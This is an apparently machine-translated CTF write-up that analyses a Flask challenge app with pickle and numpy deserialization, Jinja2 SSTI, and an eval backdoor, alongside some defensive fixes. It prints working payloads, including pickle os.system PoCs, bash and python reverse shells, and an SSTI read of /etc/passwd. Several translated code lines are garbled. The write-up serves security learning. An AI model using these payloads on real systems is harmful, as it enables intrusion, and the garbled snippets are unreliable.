Analysis ogeek line game web 1-python-web

1.python

from flask import Flask, request, render_template,send_from_directory, make_response
from Archives import Archives
import pickle,base64,os
from jinja2 import Environment
from random import choice
import numpy
import builtins
import io
import re

app = Flask(__name__)
Jinja2 = Environment()
def set_str(type,str):
    retstr = "%s'%s'"%(type,str)
    print(retstr)
    return eval(retstr)
def get_cookie():
    check_format = ['class','+','getitem','request','args','subclasses','builtins','{','}']
    return choice(check_format)

@app.route('/')
def index():
    global Archives
    resp = make_response(render_template('index.html', Archives = Archives))
    cookies = bytes(get_cookie(), encoding = "utf-8")
    value = base64.b64encode(cookies)
    resp.set_cookie("username", value=value)
    return resp

@app.route('/Archive/<int:id>')
def Archive(id):
    global Archives
    if id>len(Archives):
        return render_template('message.html', msg='文章ID不存在!', status='失败')
    return render_template('Archive.html',Archive = Archives[id])

@app.route('/message',methods=['POST','GET'])
def message():
    if request.method == 'GET':
        return render_template('message.html')
    else:
        type = request.form['type'][:1]
        msg = request.form['msg']
        try:
            info = base64.b64decode(request.cookies.get('user'))
            info = pickle.loads(info) //pickle反序列化
            username = info["name"]
        except Exception as e:
            Print (E) 
            username = " the Guest " 

        IF len (MSG)> 27 :
             return the render_template ( ' Message.html ' , MSG = ' Message too long! ' , Status = ' message failed ' ) 
        MSG = msg.replace ( '  ' , ' ' ) 
        MSG = msg.replace ( ' _ ' , ' ' ) 
        retstr = set_str (type,
        msg)
        return render_template('message.html',msg=retstr,status='%s,留言成功'%username)

@app.route('/hello',methods=['GET', 'POST'])
def hello():
    username = request.cookies.get('username')
    username = str(base64.b64decode(username), encoding = "utf-8")
    data = Jinja2.from_string("Hello , " + username + '!').render()
    is_value = False
    return render_template('hello.html', msg=data,is_value=is_value)


@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
    if request.method == 'GET':
        return render_template('getvdot.html')
    else:
        matrix1 = base64.b64decode(request.form['matrix1'])
        matrix2 = base64.b64decode(request.form['matrix2'])
        try:
            matrix1 = numpy.loads(matrix1)
            matrix2 = numpy.loads(matrix2)
        except Exception as e:
            print(e)
        result = numpy.vdot(matrix1,matrix2)
        print(result)
        return render_template('getvdot.html',msg=result,status='向量点积')


@app.route('/robots.txt',methods=['GET'])
def texts():
    return send_from_directory('/', 'flag', as_attachment=True)

if __name__ == '__main__':
    app.run(host='0.0.0.0',port='5000',debug=True)

The first hole: pickle deserialization

= base64.b64decode info (request.cookies.get ( ' User ' )) 
info = The pickle.loads (info) // the pickle deserialization

Execute commands for common python libraries are:

os,subprocess,command

os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)

as well as

map(__import__('os').system,['bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',])

sys.call_tracing(__import__('os').system,('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',))

platform.popen("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")

Then the easiest course exp command is performed by os.system:

import pickle
import os
import subprocess
import base64 as b64
class genpoc(object):
    def __reduce__(self):
        s = """whoami"""
        return os.system,(s,)
evil = b64.b64encode(pickle.dumps(genpoc()))
pickle.loads(b64.b64decode(evil))

cPickle pickle and can be deserialized, cPickle little faster, can generate a payload read flag batch

__reduce__ command module for performing the function returns the tuple of course be replaced, based on the blacklist when the defense, like the system directly ban the library:

if "os" or "subprocess" or "commands" or "platform" in pickle.dumps(genpoc()):
    exit(0)

Blacklist-based approach may exist may be bypassed, the best way is based on the white list:

 

The original function of pickle loads as described above, the reference https://www.jianshu.com/p/8fd3de5b4843 can add a determination before returning the serialized object:

class genpoc(object):
    def __reduce__(self):
        s = """whoami"""
        return os.system,(s,)
evil = pickle.dumps(genpoc())
allow_list = [str, int, float, bytes, unicode]

class FilterException(Exception):
    def __init__(self, value):
        super(FilterException, self).__init__('the callable object {value} is not allowed'.format(value=str(value)))

def a(func):
    def wrapper(*args, **kwargs):
        if args[0].stack[-2]  in allow_list:
            raise FilterException(args[0].stack[-2])
        return func(*args, **kwargs)
    return wrapper

def loads(evil):
    #global evil
    file = StringIO(evil)
    temp = Unpickler(file)
    temp.dispatch[REDUCE] = a(temp.dispatch[REDUCE])
    return temp.load()
loads(evil)

This allows the defense to live pickle deserialization vulnerability, here is the reason it looks like this: function to be called because we passed in __reduce__ for as os.system, parameters whoami, __ reduce__ returns a tuple ,

At this time, as long as the detection __reduce__ variables can be,

 In the pickle source, it is possible to reduce the operating variables REDUCE properties dispatch class object Unpickler

 

 Wherein the stack is actually stored variables System built-in functions, then you can by args [0] .stack system prior to [-2] to obtain the __reduce__ defined, then as long as the value of the value will be the whitelist comparison can be.

Second hole:CVE-2019-8341 jinja2 ssti

Vulnerabilities code:

@app.route('/hello',methods=['GET', 'POST'])
def hello():
    username = request.cookies.get('username')
    username = str(base64.b64decode(username), encoding = "utf-8")
    data = Jinja2.from_string("Hello , " + username + '!').render()
    is_value = False
    return render_template('hello.html', msg=data,is_value=is_value)

This hole is because from_string pot, jinja2 version less than 2.10,exploitdb also gave specific payload:

Read / etc / passwd

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

Rebound shell:

{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }}

Repair, then you can direct filtration username in. Point to

Third hole: CVE-2019-6446 numpy deserialization

@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
    if request.method == 'GET':
        return render_template('getvdot.html')
    else:
        matrix1 = base64.b64decode(request.form['matrix1'])
        matrix2 = base64.b64decode(request.form['matrix2'])
        try:
            matrix1 = numpy.loads(matrix1)
            matrix2 = numpy.loads(matrix2)
        except Exception as e:
            print(e)
        result = numpy.vdot(matrix1,matrix2)
        print(result)
        return render_template('getvdot.html',msg=result,status='向量点积')

When reading numpy.loads string, also using the pickle loads reads serialized string

So long as the use of the sequence constructed pickle poc, passed to numpy.loads (), it is possible to achieve the same effect

import numpy
import pickle
import os
class genpoc(object):
    def __reduce__(self):
        s = """whoami"""
        return os.system,(s,)
evil = pickle.dumps(genpoc())
print evil
numpy.loads(evil)

Defense can refer to: https://github.com/numpy/numpy/commit/a2bd3a7eabfe053d6d16a2130fdcad9e5211f6bb

Because here numpy.loads actually calls pickle.loads, so it can follow the whitelist or blacklist repair pickle way prohibit some objects can be called to execute the command.

The fourth hole: eval back door

= Request.Form type [ ' type ' ] [:. 1 ] 
MSG = Request.Form [ ' MSG ' ]
 IF len (MSG)> 27 :
      return the render_template ( ' Message.html ' , MSG = ' Message too long! ' , Status = ' message failed ' ) 
MSG = msg.replace ( '  ' , '' ) 
MSG = msg.replace ( ' _ ' , '' )

Direct execution here eval, and the type and str are controllable, but you need to bypass the previous limit, limit type as a character here, we just closed 'single quote, poc can be:

Read flag can be:

set_str("'","+os.system('cat${IFS}/f*')#")

 Such payload is exactly 27 characters, you can obtain flag

 Repair method is very simple:

It can filter out the slash /

 

 

 

 

 

Guess you like

Origin www.cnblogs.com/wfzWebSecuity/p/11567207.html